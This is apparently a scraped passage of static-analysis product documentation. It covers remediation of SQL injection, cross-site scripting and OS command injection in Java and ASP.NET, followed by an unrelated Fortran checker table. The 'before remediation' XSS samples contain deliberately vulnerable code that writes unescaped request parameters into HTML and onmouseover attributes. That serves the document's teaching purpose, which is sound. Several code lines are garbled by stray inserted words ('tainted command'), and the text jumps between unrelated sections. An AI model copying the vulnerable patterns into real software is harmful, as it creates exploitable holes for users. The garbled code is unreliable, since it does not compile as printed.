Escape.sqlLikeClause() method escapes the percent-sign
(%, U+0025) and underscore (_,
U+005F) from the tainted value, using the at sign
(@, U+0040). While any character can be used,
the backslash (\, U+005C) should be avoided. Note
that this escaper does not prevent SQL injection defects. It preserves the
meaning of the LIKE query by only escaping characters with
special meaning in a LIKE clause.
SomeDAO.java (85): The statement
has been parameterized. In addition, the escape keyword is used
to notify JPA that % and _ values within the
string are considered escaped if prefixed with an @ (for
example, @_).
SomeDAO.java (86): The tainted
value is bound to a positional parameter within the statement, which is
escaped automatically. JPA positional parameters require a digit after the
question mark, starting at 1.
The following example uses indirect references through a HashMap to
add SQL table and column names used by the application.
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("CONTRACTOR", "tbVendors.ID");
11 m.put("HR", "tbHR1.ID");
12 //...
13 return Collections.unmodifiableMap(m);
[…]73 public List<People> getAllPeopleFrom(final String userInput) { […] 80 String untainted = Constants.SQL.get(userInput); 81 if (untainted != null) { 83 String paramQuery = "SELECT * FROM " + untainted; 84 PreparedStatement prepStmt = connection.prepareStatement(paramQuery); 85 prepStmt.executeQuery(); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10-11): A
list of common SQL tables is added to the HashMap.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80-83): If the
user provides a value such as HR, the value is concatenated to
the SQL statement. If the user supplies an invalid value, the application
can log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL table and column names used by the application.
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "Orders table");
11 m.put("legacyOrders", "LegacyOrders table");
12 //...
13 return Collections.unmodifiableMap(m);
[…]73 public List<People> getAllOrdersFrom(final String userInput) { […] 80 String untainted = Constants.SQL.get(userInput); 81 if (untainted != null) { 82 83 Query query = sess.createQuery("from " + untainted + " order by table.item asc"); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10-11): A
list of common SQL tables is added to the HashMap.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80-83): If the
user provides a value such as "legacyOrders", the value is concatenated to
the SQL statement. If the user supplies an invalid value, the application
can log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "orders");
11 m.put("legacyOrders", "legacy_orders");
12 // ..
13 return Collections.unmodifiableMap(m);
[…]73 public List<People> getAllOrdersFrom(final String userInput) { […] 80 String untainted = Constants.SQL.get(userInput); 81 if (untainted != null) { 82 83 SQLQuery query = sess.createSQLQuery("SELECT * FROM " + untainted + " ORDER BY user ASC"); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10-11): A
list of common SQL tables is added to the HashMap.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80-83): If the
user provides a value such as "newOrders", the value is concatenated to the
SQL statement. If the user supplies an invalid value, the application can
log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "Orders o");
11 m.put("legacyOrders", "LegacyOrders o");
12 //...
13 return Collections.unmodifiableMap(m);
[…]73 public List<People> getAllOrdersFrom(final String userInput) { […] 80 String untainted = Constants.SQL.get(userInput); 81 if (untainted != null) { 82 83 Query query = entityManager.createQuery("SELECT o FROM " + untainted + " ORDER BY o.item ASC"); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10-11): A
list of common SQL statement fragments are added to the
HashMap.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80-83): If the
user provides a value such as "newOrders", the value is concatenated to the
SQL statement. If the user supplies an invalid value, the application can
log it as suspicious or perform some other action.
The following example uses indirect references through a HashMap to
add SQL identifiers that are used by the application.
5 class Constants {
6 public static final Map<String, String> SQL = initializeSql();
7
8 private static Map<String, String> initializeSql() {
9 Map<String, String> m = new HashMap<String, String>();
10 m.put("newOrders", "orders");
11 m.put("legacyOrders", "legacy_orders");
12 // ..
13 return Collections.unmodifiableMap(m);
[…]73 public List<People> getAllOrdersFrom(final String userInput) { […] 80 String untainted = Constants.SQL.get(userInput); 81 if (untainted != null) { 82 83 Query query = entityManager.createNativeQuery("SELECT * FROM " + untainted + " ORDER BY user ASC"); […] 91 } else { 92 // log event as potential security tampering... […]
Progression of the security issue:
Constants.java (10): A list of
common SQL statement fragments are added to the HashMap.
SomeDAO.java (73): A tainted
value, userInput, is passed into the method.
SomeDAO.java (80-83): If the
user provides a value such as "newOrders", the value is concatenated to the
SQL statement. If the user supplies an invalid value, the application can
log it as suspicious or perform some other action.
The following example shows an XSS defect before and after remediation. The defect occurred using an ASP.NET Razor View that displayed unsafe data in a request parameter, which was later displayed within an HTML attribute.
Before remediation:
example.cshtml
@{
String needHelp = Request["needHelp"];
}
<span onmouseover="var x='@Html.Raw(needHelp)';">Hello</span>After remediation:
example.cshtml
@{
String needHelp = Request["needHelp"];
}
<span onmouseover="var x='@Html.Raw(Escape.Html(Escape.JsString(needHelp)))';">Hello</span>Progression of the security issue:
Event 1: The parameter needHelp is obtained from the HTTP
request. This value is considered tainted until it is sanitized
appropriately.
Event 2: The Html.Raw method converts the value to an
IHtmlString, which will not be escaped
automatically by the Razor engine.
Event 3: The value is "inlined" into a single-quoted Javascript string
within the double-quoted onmouseover HTML tag attribute. After
remediation, the value is escaped using the combination of Coverity
Escape.Html() and Escape.JsString() methods.
This action properly escapes the value for both the HTML double-quoted
attribute context and the nested JavaScript single-quoted string context,
remedying the XSS defect.
The following example shows an XSS defect before and after remediation. The defect occurred within a Java Servlet that writes tainted data directly into the response, which is later displayed within an HTML context.
Before remediation:
IndexServlet.java
8 public class IndexServlet extends HttpServlet {
9
10 protected void doGet(HttpServletRequest request, HttpServletResponse response)
11 throws ServletException, IOException {
12
13 String param = request.getParameter("index");
14
15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html");
17 out.write("<html><body>Index requested: " + param);
18 out.write("...");After remediation:
IndexServlet.java
7 import com.coverity.security.Escape; 8 public class IndexServlet extends HttpServlet { 9 10 protected void doGet(HttpServletRequest request, HttpServletResponse response) 11 throws ServletException, IOException { 12 13 String param = request.getParameter("index"); 14 15 PrintWriter out = response.getWriter(); 16 response.setContentType("text/html"); 17 out.write("<html><body>Index requested: " + Escape.html(param)); 18 out.write("...");
Progression of the security issue:
IndexServlet.java (13) before remediation: The
parameter index is obtained from the HTTP request. This value
is considered unsafe until it is sanitized appropriately.
IndexServlet.java
(17) before remediation: The value is displayed within an HTML context,
causing the original defect.
IndexServlet.java (7)
after remediation: The Coverity escaper Escape is imported.
IndexServlet.java (17)
after remediation: The value is escaped using the
Escape.html() method. This action properly escapes
the value for the HTML context, remedying the XSS defect.
The following example shows an XSS defect before and after remediation. The defect occurred using a JavaServer Page that displayed unsafe data in a request parameter, which was later displayed within an HTML attribute.
Before remediation:
bloghelp.jsp:
1 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> 2 3 <%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 4 <% 5 String needHelp = request.getParameter("needHelp"); 6 if (needHelp == null || needHelp == "") 7 needHelp = "none"; 8 %> 9 <!DOCTYPE html> 10 <html> 11 <head> 12 <script src="/webApp/static/js/main.js"></script> 13 </head> 14 <body> 15 16 <span onmouseover="lookupHelp('<%= needHelp %>');">Hello Blogger!</span> 17 18 To add a blog, please navigate to ... 19
After remediation:
bloghelp.jsp:
1 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> 2 <%@ page import="com.coverity.security.Escape" %> 3 <%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 4 <% 5 String needHelp = request.getParameter("needHelp"); 6 if (needHelp == null || needHelp == "") 7 needHelp = "none"; 8 %> 9 <!DOCTYPE html> 10 <html> 11 <head> 12 <script src="/webApp/static/js/main.js"></script> 13 </head> 14 <body> 15 16 <span onmouseover="lookupHelp('<%= Escape.html(Escape.jsString(needHelp)) %>');">Hello Blogger!</span> 17 18 To add a blog, please navigate to ... 19
Progression of the security issue:
bloghelp.jsp (5) before
remediation: The parameter needHelp is obtained from the HTTP
request. This value is considered tainted until it is sanitized
appropriately.
bloghelp.jsp (2) after
remediation: The Coverity escapers Escape are imported.
bloghelp.jsp (16) after
remediation: The value is escaped using the combination of Coverity
Escape.html() and
Escape.jsString() methods. This action properly
escapes the value for both the HTML double-quoted attribute context and the
nested JavaScript single-quoted string context, remedying the XSS
defect.
The following example uses indirect references through a Map to supply
constant command names for the application.
11 public class CommandConstants {
...
15 public static final Map<String, String> COMMANDS =
initializeDifferentCommands();
...
56 private static Map<String, String> initializeDifferentCommands() {
57 Map<String, String> m = new HashMap<String, String>();
58 m.put("commandOne", "/usr/bin/commandone");
59 m.put("commandTwo", "/usr/local/sbin/commandtwo");
60 // ...
61 return java.util.Collections.unmodifiableMap(m);
62 } 12 public class CommandServlet extends HttpServlet {
...
201 private void runCommand(String commandName, PrintWriter out)
202 throws RuntimeException {
203
204 try {
205
206 String untaintedCommand = CommandConstants.COMMANDS.get(commandName);
207 if (untaintedCommand != null) {
208
209 String[] untaintedArray = new String[] {untaintedCommand,
"-c", "-f", "output.txt"};
210
211 Process proc = Runtime.getRuntime().exec(untaintedArray)Progression of the security issue:
CommandConstants.java
(15): A map of user keys to commands is created.
CommandServlet.java
(201): A tainted value, commandName, is passed into the
method.
CommandServlet.java
(206): The tainted value is checked against the map. If the tainted value
equals a key such as commandOne, a constant value is
returned.
CommandServlet.java
(209): The untainted value is included in a static array.
CommandServlet.java
(211): The static array is passed to
Runtime.exec(String[]).
The following example uses indirect references through a Map to supply
constant command names for the application.
11 public class CommandConstants {
...
15 public static final Map<String, String> COMMANDS =
initializeDifferentCommands();
56 private static Map<String, String> initializeDifferentCommands() {
57 Map<String, String> m = new HashMap<String, String>();
58 m.put("commandOne", "/usr/bin/commandone");
59 m.put("commandTwo", "/usr/local/sbin/commandtwo");
60 // ...
61 return java.util.Collections.unmodifiableMap(m);
62 } 12 public class CommandServlet extends HttpServlet {
...
234 private void runCommand(String commandName, PrintWriter out)
235 throws RuntimeException {
236
237 try {tainted command
238
239 String untaintedCommand = CommandConstants.COMMANDS.get(commandName);
240 if (untaintedCommand != null) {
241
242 String[] untaintedArray = new String[] {untaintedCommand,
"-c", "-f", "output.txt"};
243
244 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
245 Process proc = pb.start();Progression of the security issue:
CommandConstants.java
(15): A map of user keys to commands is created.
CommandServlet.java
(234): A tainted value, commandName, is passed into the
method.
CommandServlet.java
(239): The tainted value is checked against the map. If the tainted value
equals a key such as commandOne, a constant value is
returned.
CommandServlet.java
(242): The untainted value is included in a static array.
CommandServlet.java
(244): The static array is passed to ProcessBuilder (String...
).
The following example uses indirect references through a Map to supply
constant command names and arguments for the application.
11 public class CommandConstants {
...
16 public static final Map<String, String[]> FULL_COMMANDS =
initializeDifferentFullCommands();
...
51 private static Map<String, String[]> initializeDifferentFullCommands() {
52 Map<String, String[]> m = new HashMap<String, String[]>();
53 m.put("fullCommandOne", new String[] {"/usr/bin/commandone", "-c", "--output",
"out.txt"});
54 m.put("fullCommandTwo", new String[] {"/usr/local/sbin/commandtwo", "-v", "-V",
"--print-errors"});
55 // ...
56 return java.util.Collections.unmodifiableMap(m);
57 } 12 public class CommandServlet extends HttpServlet {
...
269 private void runCommandFully(String commandName, PrintWriter out)
270 throws RuntimeException {
271
272 try {
273
274 String[] untaintedArray = CommandConstants.FULL_COMMANDS.get(commandName);
275 if (untaintedArray != null) {
276
277 Process proc = Runtime.getRuntime().exec(untaintedArray);Progression of the security issue:
CommandConstants.java
(16): A map of user keys to commands is created.
CommandServlet.java
(269): A tainted value, commandName, is passed into the
method.
CommandServlet.java
(274): The tainted value is checked against the map. If the tainted value
equals a key such as commandOne, a static array is
returned.
CommandServlet.java
(277): The static array is passed to Runtime.exectainted
command(String[]).
The following example uses indirect references through a Map to supply
constant command names and arguments for the application.
11 public class CommandConstants {
...
16 public static final Map<String, String[]> FULL_COMMANDS =
initializeDifferentFullCommands();
...
51 private static Map<String, String[]> initializeDifferentFullCommands() {
52 Map<String, String[]> m = new HashMap<String, String[]>();
53 m.put("fullCommandOne", new String[] {"/usr/bin/commandone", "-c", "--output",
"out.txt"});
54 m.put("fullCommandTwo", new String[] {"/usr/local/sbin/commandtwo", "-v", "-V",
"--print-errors"});
55 // ...
56 return java.util.Collections.unmodifiableMap(m);
57 } 12 public class CommandServlet extends HttpServlet {
...
300 private void runCommandFully(String commandName,
PrintWriter out)
301 throws RuntimeException {
302
303 try {
304
305 String[] untaintedArray = CommandConstants.FULL_COMMANDS.get(commandName);
306 if (untaintedArray != null) {
307
308 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
309 Process proc = pb.start();Progression of the security issue:
CommandConstants.java
(16): A map of user keys to commands is created.
CommandServlet.java
(300): A tainted value, commandName, is passed into the
method.
CommandServlet.java
(305): The tainted value is checked against the map. If the tainted value
equals a key such as commandOne, a static array is
returned.
CommandServlet.java
(308): The static array is passed to ProcessBuilder(String...
).
The following example uses indirect references through a Map to supply
constant command tainted command names and arguments for the application.
11 public class CommandConstants {
12
13 public static final Map<String, String> BASH_ARGS = initializeBashList();
...
16
17 private static Map<String, String> initializeBashList() {
18 Map<String, String> m = new HashMap<String, String>();
19 m.put("all", "ls -1 *");
20 m.put("logfile", "ls foo.log");
21 // ...
22 return java.util.Collections.unmodifiableMap(m);
23 } 12 public class CommandServlet extends HttpServlet {
...
103 private void listFile(String outputFile, PrintWriter out)
104 throws RuntimeException {
105
106 try {
107
108 String untaintedArg = CommandConstants.BASH_ARGS.get(outputFile);
109 if (untaintedArg != null) {
110
111 String[] untaintedArray = new String[] {"/bin/bash", "-c", untaintedArg};
112 Process proc = Runtime.getRuntime()tainted command.exec(untaintedArray);Progression of the security issue:
CommandConstants.java
(13): A map of user keys to commands is created.
CommandServlet.java
(103): A tainted value, outputFile, is passed into the
method.
CommandServlet.java
(108): The tainted value is checked against the map. If the tainted value
equals a key such as all, a constant value is returned.
CommandServlet.java
(111): The untainted value is included in a static array.
CommandServlet.java
(112): The static array is passed to
Runtime.exec(String[]).
The following example uses indirect references through a HashMap to
directly use static commands for the application.
11 public class CommandConstants {
...
14 public static final Map<String, String> FIND_ARGS = initializeFindList();
...
25 private static Map<String, String> initializeFindList() {
26 Map<String, String> m = new HashMap<String, String>();
27 m.put("alllogs", "*.log");
28 m.put("allreports", "report-*.txt");
29 // ...
30 return java.util.Collections.unmodifiableMap(m);
31 } 12 public class CommandServlet extends HttpServlet {
...
167 private void findFile(String fileName, PrintWriter out)
168 throws RuntimeException {
169
170 try {
171
172 String untaintedArg = CommandConstants.FIND_ARGS.get(fileName);
173 if (tainted commanduntaintedArg != null) {
174
175 String[] untaintedArray = new String[] {"/usr/bin/find", ".", "-name",
untaintedArg};
176 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
177 Process proc = pb.start();Progression of the security issue:
CommandConstants.java
(14): A map of user keys to commands is created.
CommandServlet.java
(167): A tainted value, fileName, is passed into the
method.
CommandServlet.java
(172): The tainted value is checked against the map. If the tainted value
equals a key such as alllogs, a constant value is
returned.
CommandServlet.java
(175): The untainted value is included in a static array.
CommandServlet.java
(176): The static array is passed to
ProcessBuilder(String...).
The following example uses indirect references through a Map to supply a
constant option argument to the application.
11 public class CommandConstants {
...
17 public static final Map<String, String> OPTIONS = initializeOptions();
...
60 private static Map<String, String> initializeOptions() {
61 Map<String, String> m = new HashMap<String, String>();
62 m.put("one", "/1");
63 m.put("error", "/PE");
64 // ...
65 return java.util.Collections.unmodifiableMap(m);
66 }
12 public class CommandServlet extends HttpServlet {
...
338 private void runCommandWithOption(String optionString, PrintWriter out)
339 throws RuntimeException {
340
341 try {
342
343 String untaintedOption = CommandConstants.OPTIONS.get(optionString);
344 if (untaintedOption != null) {
345
346 String[] untaintedArray = new String[] {"someCommand.exe",
untaintedOption, "/O", "output.txt"};
347
348 Process proc = Runtime.getRuntime().exec(untaintedArray);Progression of the security issue:
CommandConstants.java
(17): A map of user keys to commands is created.
CommandServlet.java
(338): A tainted value, optionString, is passed into the
method.
CommandServlet.java
(343): The tainted value is checked against the map. If the tainted value
equals a key such as one, a constant value is returned.
CommandServlet.java
(346): The untainted value is included in a static array.
CommandServlet.java
(348): The static array is passed to
Runtime.exec(String[]).
The following example uses indirect references through a Map to supply a
constant option argument to the application.
11 public class CommandConstants {
...
17 public static final Map<String, String> OPTIONS = initializeOptions();
...
60 private static Map<String, String> initializeOptions() {
61 Map<String, String> m = new HashMap<String, String>();
62 m.put("one", "/1");
63 m.put("error", "/PE");
64 // ...
65 return java.util.Collections.unmodifiableMap(m);
66 }
12 public class CommandServlet extends HttpServlet {
...
371 private void runCommandWithOption(String optionString, PrintWriter out)
372 throws RuntimeException {
373
374 try {
375
376 String untaintedOption = CommandConstants.OPTIONS.get(optionString);
377 if (untaintedOption != null) {
378
379 String[] untaintedArray = new String[] {"someCommand.exe",
untaintedOption, "/O", "output.txt"};
380
381 ProcessBuilder pb = new ProcessBuilder(untaintedArray);
382 Process proc = pb.start();Progression of the security issue:
CommandConstants.java
(17): A map of user keys to commands is created.
CommandServlet.java
(371): A tainted value, optionString, is passed into the
method.
CommandServlet.java
(376): The tainted value is checked against the map. If the tainted value
equals a key such as one, a constant value is returned.
CommandServlet.java
(379): The untainted value is included in a static array.
CommandServlet.java
(381): The static array is passed to
ProcessBuilder(String...).
The security analysis process consists of using a series of commands to set up and run the analysis, then push (commit) the resulting issue reports to Coverity Connect, where you can view and manage them.
This process requires the use of some commands and options that differ from
those used in typical quality analyses. See
Running a Security Analysis on a Java Web Application
in the
Coverity Analysis 2018.09 User and Administrator Guide. Note that you can run parallel and incremental analyses, as
well as create custom models of your methods. For details, see
Using advanced Java analysis techniques
. Note that parallel analysis does not expedite a Java
security analysis, but it can increase the speed of the overall analysis if you
are also running non-security checkers (for example, quality checkers).
This process is identical to a C/C++ quality analysis. See
Coverity Analysis 2018.09 User and Administrator Guide
for guidance.
The following commands are commonly used as part of the security analysis process. See
Coverity Analysis 2018.09 User and Administrator Guide
for a complete list of commands.
cov-emit
(does not normally
require manual execution)
Coverity supports Coverity Fortran Syntax Analysis analyses through the
cov-run-fortran command. Coverity Fortran Syntax Analysis is a lint-like Fortran syntax and
consistency checker. It can be used to test compatibility with a configured compiler and
language version. It provides a large group of Fortran bug patterns that flag coding
defects. The Coverity Fortran Syntax
Analysis Checker Reference describes each of the Coverity Fortran Syntax Analysis bug patterns.
Note that each Fortran checker has an FC. prefix. This prefix allows you to
distinguish Coverity Fortran Syntax Analysis bugs from defects found by other Coverity checkers.
Like other defects, Coverity Fortran Syntax Analysis bugs appear in the output of the
console that you use to run cov-run-fortran and among defects that you
commit to Coverity Connect through the cov-commit-defects command.
Coverity Fortran Syntax Analysis defects can be manipulated with annotations that are provided by Coverity Fortran Syntax Analysis. See the Coverity Fortran Syntax Analysis Guide.
Coverity Fortran Syntax Analysis emulates the Fortran language syntax analysis of the configured compiler and selected language standard. It reports deviations from the language that the configured compiler will accept, including language extensions that are not implemented and syntax that has been deprecated or removed according to the selected language standard.
In addition to syntax checking, Coverity Fortran Syntax Analysis performs local and global static consistency checks. These checks include type and signature verification. Static bounds checking and some data validity checking is also performed. Data validity checking is based on a lexical ordering of statement execution, so false-positive messages are possible in the presence of loops and other backward jumps.
The syntax analysis includes over 800 distinct checkers, each of which looks for a specific syntax error or coding defect. These checkers are listed below in tabular form.
Table 8.1. Coverity Fortran Syntax Analysis Checkers (40-199)
| Name | Category | Description |
|---|---|---|
| FC.040 | Syntax error | a ';' must not be the first non-blank character on a line |
| FC.041 | Syntax error | invalid line |
| FC.042 | Syntax error | first line must not be a continuation line |
| FC.043 | Syntax error | invalid characters in front of continuation line |
| FC.044 | Portability | first line after an INCLUDE line must not be a continuation line |
| FC.045 | Portability | too many continuation lines |
| FC.046 | Syntax error | unrecognized characters at end of statement |
| FC.047 | Portability | statement field empty, CONTINUE assumed |
| FC.048 | Syntax error | invalid characters in label field of statement |
| FC.049 | Portability | continuation character not in Fortran character set |
| FC.050 | Portability | lower case character(s) used |
| FC.051 | Portability | nonstandard Fortran comment used |
| FC.052 | Portability | conditional compilation or D_line(s) used |
| FC.053 | Portability | tab(s) used |
| FC.054 | Portability | form-feed(s) used |
| FC.055 | Portability | include line(s) used |
| FC.056 | Syntax error | unbalanced delimiters |
| FC.057 | Syntax error | invalid filename specification |
| FC.058 | Unused entity | none of the entities, declared in the include file, is used |
| FC.059 | Portability | character constant split over more than one line |
| FC.060 | Nonstandard syntax | fixed source form used |
| FC.061 | Information | no statement found in program unit |
| FC.062 | Portability | continuation character missing |
| FC.063 | Information | unrecognized characters after compiler directive |
| FC.064 | Portability | Too many characters in source line |
| FC.065 | Information | continued character constant has more than one leading blank |
| FC.066 | Information | comment line(s) within statement |
| FC.069 | Syntax error | unrecognized statement |
| FC.070 | Information | ambiguous statement. Type statement assumed |
| FC.071 | Portability | nonstandard Fortran statement |
| FC.072 | Syntax error | statement not allowed in MAIN |
| FC.073 | Syntax error | statement not allowed in BLOCKDATA |
| FC.074 | Syntax error | statement not allowed within the specification part of a (sub)module |
| FC.075 | Syntax error | this statement can only be used within a construct |
| FC.076 | Syntax error | this statement can only be used within a loop construct |
| FC.077 | Syntax error | statement not allowed within this context |
| FC.078 | Syntax error | statement out of order |
| FC.079 | Syntax error | type specification out of order |
| FC.080 | Portability | non-DATA specification statements must precede DATA statements |
| FC.081 | Syntax error | no shape specified, or statement function out of order |
| FC.082 | Syntax error | this statement cannot have prefixes |
| FC.083 | Syntax error | internal or module procedure expected |
| FC.084 | Dead code | no path to this statement |
| FC.085 | Syntax error | procedure END missing |
| FC.086 | Syntax error | program unit END missing |
| FC.087 | Syntax error | non-matching program unit or subprogram type in END |
| FC.088 | Syntax error | non-matching name in END |
| FC.089 | Syntax error | missing delimiter or separator |
| FC.090 | Syntax error | unmatched parentheses |
| FC.091 | Syntax error | missing parenthesis |
| FC.092 | Syntax error | ')' expected |
| FC.093 | Syntax error | '/' expected |
| FC.094 | Syntax error | syntax error |
| FC.095 | Portability | nonstandard Fortran syntax |
| FC.096 | Portability | obsolescent Fortran feature |
| FC.097 | Portability | PARAMETER statement within STRUCTURE |
| FC.098 | Portability | deleted Fortran feature |
| FC.099 | Portability | DATA statement among executable statements |
| FC.100 | Syntax error | statement not allowed within a pure procedure |
| FC.101 | Syntax error | statement not allowed within an interface block |
| FC.102 | Syntax error | statement only allowed within an interface block |
| FC.103 | Syntax error | statement only allowed within the spec. part of a (sub)module |
| FC.104 | Syntax error | statement only allowed in interface block or spec. part of subprog. |
| FC.105 | Syntax error | statement not allowed within a BLOCK construct |
| FC.106 | Syntax error | lexical token contains blank(s) |
| FC.107 | Syntax error | blank required in free source form |
| FC.108 | Portability | use a blank to delimit this token |
| FC.109 | Information | lexical token contains non-significant blank(s) |
| FC.110 | Portability | name or operator too long |
| FC.111 | Syntax error | operator name must consist of letters only |
| FC.112 | Portability | name is not unique if truncated to six characters |
| FC.113 | Syntax error | invalid name |
| FC.114 | Syntax error | statement label too long |
| FC.115 | Multiple declaration of entity | multiple definition of statement label, this one ignored |
| FC.116 | Incorrect usage of entity | statement label already in use |
| FC.117 | Incorrect usage of entity | statement label type conflict |
| FC.118 | Incorrect usage of entity | invalidly referenced |
| FC.119 | Incorrect usage of entity | invalid reference |
| FC.120 | Code improvement | referenced from outside entry block |
| FC.121 | Syntax error | statement label invalid |
| FC.122 | Syntax error | format statement label missing |
| FC.123 | Undefined entity | undefined statement label |
| FC.124 | Unused entity | statement label unreferenced |
| FC.125 | Unused entity | format statement unreferenced |
| FC.134 | Syntax error | missing apostrophe or quote |
| FC.135 | Syntax error | zero length character constant |
| FC.136 | Syntax error | invalid binary, octal or hexadecimal constant |
| FC.137 | Syntax error | kind type parameter of real constant not allowed for this exponent |
| FC.138 | Syntax error | invalid complex constant |
| FC.139 | Syntax error | invalid Hollerith or Radix constant |
| FC.140 | Syntax error | missing character to escape in C-string |
| FC.141 | Incorrect usage of entity | invalid usage of named constant |
| FC.142 | Syntax error | real or integer constant expected |
| FC.143 | Portability | character length too large |
| FC.144 | Syntax error | number too large |
| FC.145 | Implicit type conversion | implicit conversion of scalar to complex |
| FC.146 | Syntax error | unsigned nonzero integer expected |
| FC.147 | Syntax error | unsigned integer expected |
| FC.148 | Syntax error | positive integer expected |
| FC.149 | Syntax error | integer too large for its kind |
| FC.150 | Syntax error | integer larger than default |
| FC.151 | Syntax error | invalid or unrecognized attribute |
| FC.152 | Superfluous specification | PRIVATE is already the default |
| FC.153 | Superfluous specification | PUBLIC is already the default |
| FC.154 | Syntax error | implicit type already used; type declaration must confirm this type |
| FC.155 | Syntax error | conflict with generic name |
| FC.156 | Syntax error | conflict with derived-type name |
| FC.157 | Syntax error | invalid usage of subscripts or substring |
| FC.158 | Syntax error | already specified PUBLIC |
| FC.159 | Syntax error | name already in use |
| FC.160 | Incorrect usage of entity | invalid usage of variable |
| FC.161 | Syntax error | scalar variable name expected |
| FC.162 | Syntax error | named scalar expected |
| FC.163 | Syntax error | no array allowed |
| FC.164 | Syntax error | missing array or shape specification |
| FC.165 | Syntax error | invalid shape specification |
| FC.166 | Syntax error | missing array subscripts |
| FC.167 | Syntax error | invalid usage of subscripts or bounds |
| FC.168 | Syntax error | invalid number of subscripts or bounds |
| FC.169 | Syntax error | invalid shape bounds |
| FC.170 | Syntax error | shape specification out of order |
| FC.171 | Syntax error | multiple specification of shape |
| FC.172 | Syntax error | invalid array or coarray specification |
| FC.173 | Syntax error | invalid usage of assumed-size array specification |
| FC.174 | Syntax error | invalid usage of assumed-size array name |
| FC.175 | Syntax error | invalid usage of adjustable-array dimension |
| FC.176 | Syntax error | invalidly used in adjustable or automatic array declaration |
| FC.177 | Syntax error | deferred- or assumed-shape array specification not allowed |
| FC.178 | Syntax error | deferred-shape array specification required |
| FC.179 | Syntax error | explicit-shape array specification required |
| FC.180 | Syntax error | invalid usage of automatic-array specification |
| FC.181 | Syntax error | invalid usage of assumed length |
| FC.182 | Syntax error | invalid usage of adjustable-length specification |
| FC.183 | Syntax error | invalid length or kind specification, default assumed |
| FC.184 | Syntax error | multiple specification of attribute |
| FC.185 | Syntax error | invalid combination of attributes |
| FC.186 | Syntax error | attribute not allowed in this context |
| FC.187 | Syntax error | invalid to (re)define type or attribute |
| FC.188 | Syntax error | OPTIONAL and INTENT only allowed for dummy arguments |
| FC.189 | Syntax error | already specified PRIVATE |
| FC.190 | Syntax error | type parameter not allowed for this type |
| FC.191 | Syntax error | invalid specification of type parameters |
| FC.192 | Syntax error | invalid usage of type parameters |
| FC.193 | Superfluous specification | already specified in host context |
| FC.194 | Unsupported | unsupported type length, default assumed |
| FC.195 | Syntax error | type length invalidly specified |
| FC.196 | Syntax error | initialization only allowed in attributed form of type spec. |
| FC.197 | Syntax error | a named constant cannot have the POINTER, TARGET, or BIND attribute |
| FC.198 | Syntax error | constant expected |
| FC.199 | Syntax error | missing parentheses |
Table 8.2. Coverity Fortran Syntax Analysis Checkers (200-399)
| Name | Category | Description |
|---|---|---|
| FC.200 | Syntax error | constant expression missing |
| FC.201 | Syntax error | entity must have been explicitly declared previously |
| FC.202 | Multiple declaration of entity | multiple specification of type, this one ignored |
| FC.203 | Syntax error | name invalidly typed |
| FC.204 | Syntax error | implicit type already used, change sequence |
| FC.205 | Syntax error | implicit properties already used, statement out of order |
| FC.206 | Syntax error | invalid implicit range |
| FC.207 | Syntax error | multiple implicit type declaration, this one ignored |
| FC.208 | Code improvement | name not explicitly typed, implicit type assumed |
| FC.209 | Information | conflict with IMPLICIT NONE specification or DECLARE option |
| FC.210 | Syntax error | SAVE has already been specified for this entity |
| FC.211 | Syntax error | SAVE and AUTOMATIC cannot be specified both |
| FC.212 | Syntax error | invalid to save this entity |
| FC.213 | Syntax error | SAVE or BIND specified but entity not declared |
| FC.214 | Syntax error | not saved |
| FC.215 | Syntax error | already specified automatic, static or allocatable |
| FC.216 | Syntax error | invalidly specified automatic, static or allocatable |
| FC.217 | Syntax error | conflict with program unit or ENTRY name |
| FC.218 | Syntax error | conflict with common-block name |
| FC.219 | Syntax error | invalidly in COMMON, EQUIVALENCE, or NAMELIST |
| FC.220 | Syntax error | invalid initialization of entity in DATA or type statement |
| FC.221 | Syntax error | more than once in BLOCKDATA |
| FC.222 | Syntax error | mixing of character and numeric types in COMMON BLOCK |
| FC.223 | Syntax error | initialization of named COMMON should be in BLOCKDATA |
| FC.224 | Syntax error | invalid initialization of variable in blank COMMON |
| FC.225 | Syntax error | more than once in COMMON |
| FC.226 | Portability | objects not in descending order of type size |
| FC.227 | Code improvement | extension of COMMON |
| FC.228 | Code improvement | size of common block inconsistent with first declaration |
| FC.229 | Code improvement | type in COMMON inconsistent with first declaration |
| FC.230 | Code improvement | list of objects in named COMMON inconsistent with first declaration |
| FC.231 | Code improvement | array bounds differ from first occurrence |
| FC.232 | Code improvement | only specified once |
| FC.233 | Code improvement | common block inconsistently included from include file(s) |
| FC.234 | Syntax error | invalid equivalence with object in COMMON |
